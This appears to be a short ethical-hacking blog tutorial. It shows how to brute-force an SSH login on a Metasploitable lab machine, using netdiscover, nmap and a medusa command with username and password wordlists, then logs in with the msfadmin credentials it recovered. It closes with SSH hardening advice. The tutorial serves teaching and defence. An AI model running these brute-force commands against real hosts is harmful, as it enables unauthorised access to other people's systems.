Cracking SSH Password Using Medusa

Today we are going learn how to access the victim machine by cracking the password of SSH service. 

Disclaimer: The articles provided on HackWithV is purely for informational and educational purpose only, and for those who are willing and curious to know & learn about Ethical Hacking, Security and Penetration Testing. Anytime the word "Hacking" that is used on this site shall be regarded as Ethical Hacking.

What is SSH?

• The SSH protocol (also referred to as Secure Shell) is a method for secure remote login from one computer to another.

What is Medusa?

• Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer.
• The goal is to support as many services which allow remote authentication as possible.

Practical:

• Attacker: Kali Linux(OS), Medusa(Tool), Wordlist.
  

• Victim: Metasploitable(OS), SSH(Service).

sudo netdiscover

• Here we got the IP (192.168.0.22) of victim. Now lets scan for SSH service.

nmap -sV -p 22 192.168.0.22

• The nmap says that the victim is running SSH service. Now its time for cracking the password of SSH with the help of medusa tool.

medusa -help

 

 

medusa -U users.txt -P passwords.txt -h 192.168.0.22 -M ssh -v 4 -t 5

• Here,

        -U is list of usernames

        -P is list of Passwords

        -t is number of tasks 

        -M is module

• Here we go, the username is msfadmin and password is msfadmin .

• Now lets try to connect to SSH with these credentials.

ssh msfadmin@192.168.0.22

• Here we got remote login into victim machine.

Mitigation:

1. Set a custom SSH port
2. Filter the SSH port on your firewall 
3. Disable Root Login
4. Strong passwords/passphrase for ssh users and keys
5. Disable Empty Passwords
6. Set a custom SSH warning banner
7. Block SSH brute force attacks automatically
8. Disable OpenSSH server on the laptops and desktops
9. Enable login notifications over email
10. Keep SSH updated
    

Be Aware, Be Secure.

Thank You 🙏